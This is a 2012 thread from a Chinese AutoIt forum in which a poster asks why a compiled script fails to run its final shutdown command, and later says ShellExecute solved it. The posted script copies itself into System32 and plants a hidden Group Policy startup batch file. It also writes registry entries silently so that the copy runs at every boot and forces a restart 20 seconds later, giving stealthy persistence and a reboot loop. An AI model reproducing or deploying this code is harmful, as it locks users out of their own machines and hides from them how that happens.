找回密码
 加入
搜索
查看: 4770|回复: 2

[AU3基础] [已解决]代码最后的RUN,编译前执行正常,编译后就执行不了了

[复制链接]
发表于 2012-7-2 08:22:33 | 显示全部楼层 |阅读模式
本帖最后由 xiaowo 于 2012-7-2 23:32 编辑

代码最后的RUN,编译前执行正常,编译后就执行不了了,换成RUNWAIT也不行,没加壳也没迷惑,百思不得其解,请问是哪里出现的问题?
        RunWait(@ComSpec & ' /c md "' & @SystemDir & '\GroupPolicy\Machine\Scripts\StartUp"', '', 0)
        FileClose(FileOpen(@SystemDir & "\GroupPolicy\Machine\Scripts\StartUp\pig.bat", 2))
        Local $Bat = '@echo off' & @CRLF & _
        'start ' & @SystemDir & '\pig.exe' & @CRLF & _
        'start shutdown -r -t 20' & @CRLF & _
        'exit'
        FileWriteLine(@SystemDir & "\GroupPolicy\Machine\Scripts\StartUp\pig.bat", $Bat)
        RunWait(@ComSpec & ' /c ' & "attrib -h -r -s C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini", '', 0)
        FileClose(FileOpen(@SystemDir & "\GroupPolicy\Machine\Scripts\scripts.ini", 2))
        Local $Scripts = '' & @CRLF & _
                '[StartUp]' & @CRLF & _
                '0CmdLine=pig.bat' & @CRLF & _
                '0Parameters='
        FileWriteLine(@SystemDir & "\GroupPolicy\Machine\Scripts\scripts.ini", $Scripts)
        RunWait(@ComSpec & ' /c ' & "attrib +h " & @SystemDir & "\GroupPolicy\Machine\Scripts\scripts.ini", '', 0)
        Local $Reg = 'Windows Registry Editor Version 5.00' & @CRLF & _
                '' & @CRLF & _
                '[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\StartUp\0]' & @CRLF & _
                '"GPO-ID"="LocalGPO"' & @CRLF & _
                '"SOM-ID"="Local"' & @CRLF & _
                '"FileSysPath"="C:\\WINDOWS\\System32\\GroupPolicy\\Machine"' & @CRLF & _
                '"DisplayName"="Local Group Policy"' & @CRLF & _
                '"GPOName"="Local Group Policy"' & @CRLF & _
                '' & @CRLF & _
                '[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\StartUp\0\0]' & @CRLF & _
                '"Script"="pig.bat"' & @CRLF & _
                '"Parameters"=""' & @CRLF & _
                '"ExecTime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00' & @CRLF & _
                '' & @CRLF & _
                '[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\Scripts\StartUp\0]' & @CRLF & _
                '"GPO-ID"="LocalGPO"' & @CRLF & _
                '"SOM-ID"="Local"' & @CRLF & _
                '"FileSysPath"="C:\\WINDOWS\\System32\\GroupPolicy\\Machine"' & @CRLF & _
                '"DisplayName"="Local Group Policy"' & @CRLF & _
                '"GPOName"="Local Group Policy"' & @CRLF & _
                '' & @CRLF & _
                '[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\Scripts\StartUp\0\0]' & @CRLF & _
                '"Script"="pig.bat"' & @CRLF & _
                '"Parameters"=""' & @CRLF & _
                '"ExecTime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00'
        FileWriteLine(@TempDir & "\StartUp.reg", $Reg)
        RunWait(@ComSpec & ' /c regedit /s ' & @TempDir & "\StartUp.reg", "", 0)
        FileDelete(@TempDir & "\StartUp.reg")
        FileCopy(@ScriptFullPath, @SystemDir & "\", 9)
        Run(@ComSpec & ' /c shutdown -r -t 20', @ScriptDir, 0) ;就是这里,编译后不执行

评分

参与人数 1金钱 +10 收起 理由
afan + 10 感谢主动将修改帖子分类为[已解决],请继续 ...

查看全部评分

 楼主| 发表于 2012-7-2 10:15:33 | 显示全部楼层
用ShellExecute解决了,不过还是希望知道原因,希望能得到指点,谢谢了
发表于 2014-7-21 14:36:07 | 显示全部楼层
楼主好人啊,谢谢分享
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-12-29 09:36 , Processed in 0.082855 second(s), 23 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表